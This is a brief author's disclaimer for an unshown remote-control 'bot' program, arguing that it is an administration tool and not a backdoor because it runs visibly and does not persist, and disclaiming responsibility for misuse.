This code can be considered a backdoor or an administration tool. It depends on
your own definition. It is structured in a way, that I myself define it an
administration tool. Thats because of two important facts:
(1) The code does not harm the system without user interaction and does not drop
any files or write itself to autostart etc.
(2) When starting up the code, a window will appear and when its closed the bot
itself is stopped. Therefore it is not a backdoor in my definition as it is to
clear, that there is something running.
Nevertheless this code has been sent to the AntiVirus companies to make sure nobody
will use it to harm someones system.
WARNING: I don't take any responsibility if this code harms your system due to a
bug or something similar. Always keep in mind, that you are responsible for whatever
you do with this code!
